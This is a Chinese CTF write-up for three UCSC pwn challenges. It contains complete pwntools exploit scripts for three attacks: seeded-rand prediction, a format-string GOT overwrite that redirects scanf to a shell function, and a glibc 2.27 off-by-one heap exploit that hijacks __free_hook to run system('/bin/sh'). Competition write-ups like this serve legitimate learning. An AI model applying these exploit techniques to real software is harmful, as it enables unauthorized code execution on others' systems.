0x00 前言: kap0k 23级的第二场获奖的团队赛,最终只贡献了2道PWN,还是靠RE队友带飞了。最后一题堆题的复现拖了很久,总体来说不是什么难题,从这题开始稍微了解了一些unsorted bin
的机制和off by one
的攻击原理。做出来的两题都是比较简单的,所以可能写得有点粗糙,但最后一题堆题绝对写的很详细!
0x01 题解部分: BoFido-ucsc checksec一下:
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No
Ida 就是一个简单的猜随机数。该随机数的生成依赖于种子,也就是说,如果种子一样,生成的随机数序列就一样。 使用srand()函数来设定与题目相同的随机数种子,即可做到猜测随机数的效果
from pwn import *from ctypes import *from struct import packcontext.arch='amd64' context.os = 'linux' context.log_level = 'debug' file='/mnt/c/Users/Z2023/Desktop/BoFido' elf=ELF(file) libc=cdll.LoadLibrary('/home/link/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so' ) choice = 0x001 if choice: port=41491 ucsc='39.107.58.236' p = remote(ucsc,port) else : p = process(file) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4 ,b'\x00' )) uu64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uru64 = lambda :uu64(ru('\x7f' )[-6 :]) leak = lambda name :log.success('{} = {}' .format (name, hex (eval (name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) def get_sb (): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' )) def debug (cmd='' ): if choice==1 : return gdb.attach(p,cmd) sla('Enter your name:\n' ,b'aaaa' ) libc.srand(libc.time(0 )) for i in range (10 ): v10 = libc.rand() % 255 v9 = libc.rand() % 255 v8 = libc.rand() % 255 sla('please choose your numbers:' ,str (v10)+' ' +str (v9)+' ' +str (v8)) itr()
userlogin-ucsc 惯例:
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
上ida看看主题逻辑 首先 generatePassword
生成一个密码 依靠伪随机数生成的。继续跟进 login()
函数 输入密码,如果是 supersecureuser
的话走第一个分支,第二个分支是刚刚随机数生成的密码,分别跟进一下 user函数中有fmtstr漏洞,结合程序的保护 RELRO: Partial RELRO
,可以修改got表,继续跟进 root
函数 是一个scanf,再翻翻程序中有什么可以利用的 有个shell函数,思路大概是这样:
第一次先正常输入supersecureuser
利用fmtstr
把scanf got
改掉,往scanf的got表里面写shell函数
把密码构造出来,输入密码,走另一个分支,执行shell
函数。密码构造用到的随机数可以参考上面一题的解法 动调看一下 scanf_got
需要写多少字节 因为程序中自带的 shell 函数地址一共就 3 字节,而这里 __isoc99_scanf@got
里面存放的地址也是一共 3 字节,我们要覆写的话只需要写两字节,读入的0x20字节绝对够我们利用 fmtstr 漏洞了
from pwn import *from ctypes import *from struct import packcontext.arch='amd64' context.os = 'linux' context.log_level = 'debug' file='/mnt/c/Users/Z2023/Desktop/pwn' elf=ELF(file) libc=cdll.LoadLibrary('/home/link/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so' ) choice = 0x001 if choice: port=49985 ucsc='39.107.58.236' p = remote(ucsc,port) else : p = process(file) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4 ,b'\x00' )) uu64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uru64 = lambda :uu64(ru('\x7f' )[-6 :]) leak = lambda name :log.success('{} = {}' .format (name, hex (eval (name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) def get_sb (): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' )) def debug (cmd='' ): if choice==1 : return gdb.attach(p,cmd) sla('Password: ' ,b'supersecureuser' ) scanf_got=elf.got['__isoc99_scanf' ] leak('scanf_got' ) shell=0x1261 shell_low = shell & 0xffff payload = b'%4705c%8$hnaaaaa' +p64(scanf_got) sla('Write Something\n' ,payload) table='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!' libc.srand(libc.time(0 )) password='' for i in range (16 ): v5 = libc.rand() % 63 password+=table[v5] debug() sla('Password: ' ,str (password)) itr()
0X02 复现: 疯狂复制-ucsc 基本分析 老样子 checksec
Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled RUNPATH: b'/home/link/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/' Stripped: No
Patch 过了,ubuntu 18.04,2.27堆题,上 ida 看看 经典菜单堆,大致看了一遍,没有 UAF,值得注意的是编辑堆 功能 跟进 setinput
函数 是逐个字节读入,而且他的读入长度貌似是有问题的,先读入后判断长度,简单来说就是有 off by one
漏洞。当时比赛的时候我就找了一道很类似的题目来看 XYCTF2024-pwn-one_byte【off by one】 可惜当时太急了,加上自己对堆这块还不太熟悉,卡在中间步骤了。接下来会一点一点分析
攻击思路 首先先梳理一下攻击思路:
先创建 7 个堆块,再分别 free 掉。这样做的目的是填满 Tcache
创建一个不属于 fastbin
大小的堆块,再 free 掉,这样做的目的是得到 unsorted bin
,用以泄露 libc
申请与一个小的堆块,目的是从 unsorted bin 中割一部分出来。只要让堆块进入 unsorted bin
中即可得到 unsorted bin
中残留的 fd 和 bk 指针,可以用于泄露 libc 基地址
再将剩下的 unsorted bin
申请回去,因我们后续还需要申请一些小堆块来进行 off by one
,为了防止这些小堆块是从 unsorted bin
中取出的,所以先清理干净
利用 off by one
制造 UAF
劫持 __free_hook
为 system,给其中一个堆块写入 /bin/sh
对写入 /bin/sh
的堆块进行 free 操作触发 __free_hook
, 实际上执行的是 system('/bin/sh\x00')
leak一下libc 前 3 步还是比较简单的:
malloc(0 ,0x98 ) malloc(1 ,0x98 ) malloc(2 ,0x98 ) malloc(3 ,0x98 ) malloc(4 ,0x98 ) malloc(5 ,0x98 ) malloc(6 ,0x98 ) malloc(7 ,0x98 ) malloc(8 ,0x18 ) free(0 ) free(1 ) free(2 ) free(3 ) free(4 ) free(5 ) free(6 ) free(7 ) malloc(7 ,0x30 ) show(7 ) libc_base=uru64()-0x3ebd30 leak('libc_base' ) debug() malloc(9 ,0x58 )
最后申请出多余的 unsorted bin
所需要的大小可以通过计算或者动调得到:
off by one和UAF的组合拳 剩下的几步就是 off by one
和 UAF
的组合拳了。首先,为了让 off by one
凑效,我们申请的 chunk 的大小需要为 0x18
,同时我们还会再申请三个堆块用作伪造 uaf
malloc(10 ,0x18 ) malloc(11 ,0x68 ) malloc(12 ,0x68 ) malloc(13 ,0x68 )
这样我们可以利用第 10 个堆块的 off by one
漏洞来改写第 11 个堆块的大小,将其改为一个较大的值, 然后将下一个 chunk 给 free 掉,再申请回来,这样便实现了堆块重叠的效果。
payload=b'a' *0x18 +p8(0xe1 ) edit(10 ,payload) free(11 ) malloc(14 ,0xd8 )
可以看到第二个堆块的 size 被更改了,由于我们将其申请了回来,所以我们可以对这个堆块进行编辑,只要修改第 12 个 chunk 的 fd
指针位置即可将 chunk 伪造到 __free_hook
上
free(12 ) free(13 ) free_hook=libc_os(libc.sym['__free_hook' ]) payload=b'a' *(0x68 )+p64(0x71 )+p64(free_hook) edit(14 ,payload)
同时我们还需要再 free 两个大小相同的堆块,目的是为了伪造 Tcache
的数量,如果只 free 掉第 12 个堆块的话,在将堆块申请到 __free_hook
上 会出现 这样的情况,会导致一些异常情况的发生,所以我们需要再额外 free 掉一个堆块,来保持 Tcache
中的数量是合法的。最后则是修改 __free_hook
为 system
以及写入 binsh
, 然后 free 掉对应的堆块触发 system('/bin/sh')
malloc(0 ,0x68 ) malloc(1 ,0x68 ) malloc(2 ,0x68 ) system = libc_os(libc.sym['system' ]) edit(1 ,b'/bin/sh\x00' ) edit(2 ,p64(system)) free(1 )
EXP 完整 EXP
from pwn import *from ctypes import *from struct import packcontext.arch='amd64' context.os = 'linux' context.log_level = 'debug' file='/mnt/c/Users/Z2023/Desktop/pwn2' elf=ELF(file) libc=ELF('/mnt/c/Users/Z2023/Desktop/libc-2.27.so' ) choice = 0x00 if choice: port=41491 ucsc='39.107.58.236' p = remote(ucsc,port) else : p = process(file) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4 ,b'\x00' )) uu64 = lambda data :u64(data.ljust(8 ,b'\x00' )) uru64 = lambda :uu64(ru('\x7f' )[-6 :]) leak = lambda name :log.success('{} = {}' .format (name, hex (eval (name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) def get_sb (): return libc_base + libc.sym['system' ], libc_base + next (libc.search(b'/bin/sh\x00' )) def debug (cmd='' ): if choice==1 : return gdb.attach(p,'b *$rebase(0x9cd)' ) def malloc (index,size ): sla(':' ,b'1' ) sla('Index: ' ,str (index)) sla('Size ' ,str (size)) def free (index ): sla(':' ,b'4' ) sla('Index: ' ,str (index)) def edit (index,content ): sla(':' ,b'2' ) sla('Index: ' ,str (index)) sla('Content: ' ,content) def show (index ): sla(':' ,b'3' ) sla('Index: ' ,str (index)) malloc(0 ,0x98 ) malloc(1 ,0x98 ) malloc(2 ,0x98 ) malloc(3 ,0x98 ) malloc(4 ,0x98 ) malloc(5 ,0x98 ) malloc(6 ,0x98 ) malloc(7 ,0x98 ) malloc(8 ,0x18 ) free(0 ) free(1 ) free(2 ) free(3 ) free(4 ) free(5 ) free(6 ) free(7 ) malloc(7 ,0x30 ) show(7 ) libc_base=uru64()-0x3ebd30 leak('libc_base' ) debug() malloc(9 ,0x58 ) malloc(10 ,0x18 ) malloc(11 ,0x68 ) malloc(12 ,0x68 ) malloc(13 ,0x68 ) payload=b'a' *0x18 +p8(0xe1 ) edit(10 ,payload) free(11 ) malloc(14 ,0xd8 ) free(12 ) free(13 ) free_hook=libc_os(libc.sym['__free_hook' ]) payload=b'a' *(0x68 )+p64(0x71 )+p64(free_hook) edit(14 ,payload) debug() malloc(0 ,0x68 ) malloc(1 ,0x68 ) malloc(2 ,0x68 ) system = libc_os(libc.sym['system' ]) edit(1 ,b'/bin/sh\x00' ) edit(2 ,p64(system)) free(1 ) itr()
复现的时候是能打通本地的,但是没有复现环境,不知道远程的情况如何,就当我暂时复现完了。